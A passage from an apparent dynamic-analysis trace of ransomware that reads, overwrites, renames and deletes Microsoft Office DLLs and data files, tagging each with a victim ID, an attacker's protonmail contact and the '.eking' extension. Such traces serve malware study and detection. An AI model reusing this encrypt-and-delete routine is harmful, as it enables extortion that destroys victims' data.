lpNewFilePointer=0x0) returned 1 [0274.580] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x5e158, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x5e158, lpOverlapped=0x0) returned 1 [0274.582] FlushFileBuffers (hFile=0xc0) returned 1 [0274.587] FlushFileBuffers (hFile=0x1c8) returned 1 [0274.591] CloseHandle (hObject=0xc0) returned 1 [0274.591] CloseHandle (hObject=0x1c8) returned 1 [0274.591] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll")) returned 1 [0274.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0274.615] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1784192) returned 1 [0274.615] CloseHandle (hObject=0x1c8) returned 1 [0274.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll")) returned 0x20 [0274.615] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0274.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0274.617] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0274.617] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0274.617] ReadFile (in: hFile=0x1c8, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0274.621] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x9132a, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0274.621] ReadFile (in: hFile=0x1c8, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0274.626] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x173980, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0274.626] ReadFile (in: hFile=0x1c8, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0274.639] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0274.639] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0102, lpOverlapped=0x0) returned 1 [0274.671] SetEndOfFile (hFile=0x1c8) returned 1 [0274.672] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x173980, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0274.672] WriteFile (in: hFile=0x1c8, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0274.675] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x9132a, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0274.675] WriteFile (in: hFile=0x1c8, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0274.678] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0274.678] WriteFile (in: hFile=0x1c8, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0274.680] FlushFileBuffers (hFile=0x1c8) returned 1 [0274.702] CloseHandle (hObject=0x1c8) returned 1 [0274.702] SetEvent (hEvent=0xe0) returned 1 [0274.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0274.703] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=4297568) returned 1 [0274.703] CloseHandle (hObject=0x1c8) returned 1 [0274.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf")) returned 0x20 [0274.703] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0274.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.705] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf")) returned 1 [0274.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0274.707] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=518984) returned 1 [0274.707] CloseHandle (hObject=0x1c8) returned 1 [0274.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll")) returned 0x20 [0274.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll")) returned 0x20 [0274.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0274.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0274.708] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0274.708] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0274.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x178 [0274.708] ReadFile (in: hFile=0x1c8, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x7eb48, lpOverlapped=0x0) returned 1 [0274.725] WriteFile (in: hFile=0x178, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x7eb50, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x7eb50, lpOverlapped=0x0) returned 1 [0274.735] WriteFile (in: hFile=0x178, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0274.735] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0274.735] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0274.735] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x7eb48, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x7eb48, lpOverlapped=0x0) returned 1 [0274.737] FlushFileBuffers (hFile=0x1c8) returned 1 [0274.742] FlushFileBuffers (hFile=0x178) returned 1 [0274.744] CloseHandle (hObject=0x1c8) returned 1 [0274.745] CloseHandle (hObject=0x178) returned 1 [0274.745] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll")) returned 1 [0274.752] SetEvent (hEvent=0xe0) returned 1 [0274.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0274.753] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=138616) returned 1 [0274.753] CloseHandle (hObject=0x178) returned 1 [0274.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll")) returned 0x20 [0274.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll")) returned 0x20 [0274.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0274.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0274.754] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0274.754] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0274.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1c8 [0274.754] ReadFile (in: hFile=0x178, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x21d78, lpOverlapped=0x0) returned 1 [0274.761] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x21d80, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x21d80, lpOverlapped=0x0) returned 1 [0274.764] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0274.764] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0274.764] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0274.764] WriteFile (in: hFile=0x178, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x21d78, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x21d78, lpOverlapped=0x0) returned 1 [0274.765] FlushFileBuffers (hFile=0x178) returned 1 [0274.768] FlushFileBuffers (hFile=0x1c8) returned 1 [0274.770] CloseHandle (hObject=0x178) returned 1 [0274.771] CloseHandle (hObject=0x1c8) returned 1 [0274.771] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll")) returned 1 [0274.773] SetEvent (hEvent=0xe0) returned 1 [0274.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0274.774] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=71032) returned 1 [0274.774] CloseHandle (hObject=0x1c8) returned 1 [0274.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll")) returned 0x20 [0274.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll")) returned 0x20 [0274.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0274.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0274.774] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0274.775] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0274.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x178 [0274.775] ReadFile (in: hFile=0x1c8, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x11578, lpOverlapped=0x0) returned 1 [0274.780] WriteFile (in: hFile=0x178, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x11580, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x11580, lpOverlapped=0x0) returned 1 [0274.782] WriteFile (in: hFile=0x178, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0274.782] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0274.782] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0274.782] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x11578, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x11578, lpOverlapped=0x0) returned 1 [0274.783] FlushFileBuffers (hFile=0x1c8) returned 1 [0274.786] FlushFileBuffers (hFile=0x178) returned 1 [0274.787] CloseHandle (hObject=0x1c8) returned 1 [0274.788] CloseHandle (hObject=0x178) returned 1 [0274.788] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll")) returned 1 [0274.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0274.791] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=157024) returned 1 [0274.791] CloseHandle (hObject=0x178) returned 1 [0274.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe")) returned 0x20 [0274.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe")) returned 0x20 [0274.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0274.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0274.792] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0274.792] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0274.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1c8 [0274.793] ReadFile (in: hFile=0x178, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x26560, lpOverlapped=0x0) returned 1 [0274.797] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x26570, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x26570, lpOverlapped=0x0) returned 1 [0274.800] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0274.800] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0274.800] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0274.800] WriteFile (in: hFile=0x178, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x26560, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x26560, lpOverlapped=0x0) returned 1 [0274.801] FlushFileBuffers (hFile=0x178) returned 1 [0274.808] FlushFileBuffers (hFile=0x1c8) returned 1 [0274.810] CloseHandle (hObject=0x178) returned 1 [0274.810] CloseHandle (hObject=0x1c8) returned 1 [0274.810] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe")) returned 1 [0274.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0274.813] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=4289376) returned 1 [0274.813] CloseHandle (hObject=0x1c8) returned 1 [0274.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll")) returned 0x20 [0274.815] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0274.816] CreateFileW (lpFileName="\\\\?\\C:\\Program 